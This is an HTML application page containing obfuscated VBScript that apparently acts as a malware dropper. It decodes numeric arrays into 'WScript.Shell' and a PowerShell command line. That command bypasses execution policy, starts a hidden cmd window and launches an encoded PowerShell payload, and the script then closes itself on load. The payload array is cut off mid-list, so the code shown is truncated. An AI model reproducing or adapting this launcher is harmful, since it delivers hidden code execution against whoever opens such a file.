<head>
<script language="vBsCRIPT">
Function JdzmXSFDfxnT(ByVal PzPQHbsjTyU)
Dim XPKdOsUL
Dim uUnggbZuZB
uUnggbZuZB = 33118
Dim KBQVF
KBQVF = LePtKZQQ(PzPQHbsjTyU)
If KBQVF = 7000 + 1204 Then
For Each XPKdOsUL In PzPQHbsjTyU
Dim iQpjGSSu
iQpjGSSu = iQpjGSSu & Chr(XPKdOsUL - uUnggbZuZB)
Next
End If
JdzmXSFDfxnT = iQpjGSSu
End Function
Function rKLlFDa()
Dim PzPQHbsjTyU
Dim QIyphxOfR
PzPQHbsjTyU = Array(33230,33229,33237,33219,33232,33233,33222,33219,33226,33226,33164,33219,33238,33219,33150,33163,33187,33238,33219,33217,33235,33234,33223,33229,33228,33198,33229,33226,33223,33217,33239,33150,33203,33228,33200,33219,33233,33234,33232,33223,33217,33234,33219,33218,33150,33201,33234,33215,33232,33234,33163,33198,33232,33229,33217,33219,33233,33233,33150,33157,33217,33227,33218,33164,33219,33238,33219,33157,33150,33163,33205,33223,33228,33218,33229,33237,33201,33234,33239,33226,33219,33150,33222,33223,33218,33218,33219,33228,33150,33163,33183,33232,33221,33235,33227,33219,33228,33234,33194,33223,33233,33234,33150,33241,33165,33217,33150,33230,33229,33237,33219,33232,33233,33222,33219,33226,33226,33164,33219,33238,33219,33150,33154,33191,33202,33235,33220,33227,33234,33195,33194,33190,33221,33204,33187,33194,33150,33179,33150,33157,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33183,33186,33234,33228,33236,33206,33168,
QIyphxOfR = JdzmXSFDfxnT(PzPQHbsjTyU)
Dim nvpQEMs
Set nvpQEMs = zDZYlmLJcXMo(JdzmXSFDfxnT(Array(33205,33233,33217,33232,33223,33230,33234,33164,33201,33222,33219,33226,33226)))
nvpQEMs.Run(QIyphxOfR),0,true
self.close()
End Function
Function LePtKZQQ(ByVal KBQVF)
LePtKZQQ = VarType( KBQVF)
End Function
Function zDZYlmLJcXMo(ByVal objectType)
Set zDZYlmLJcXMo = CreateObject(objectType)
End Function
rKLlFDa()
</script>
</head>
</html>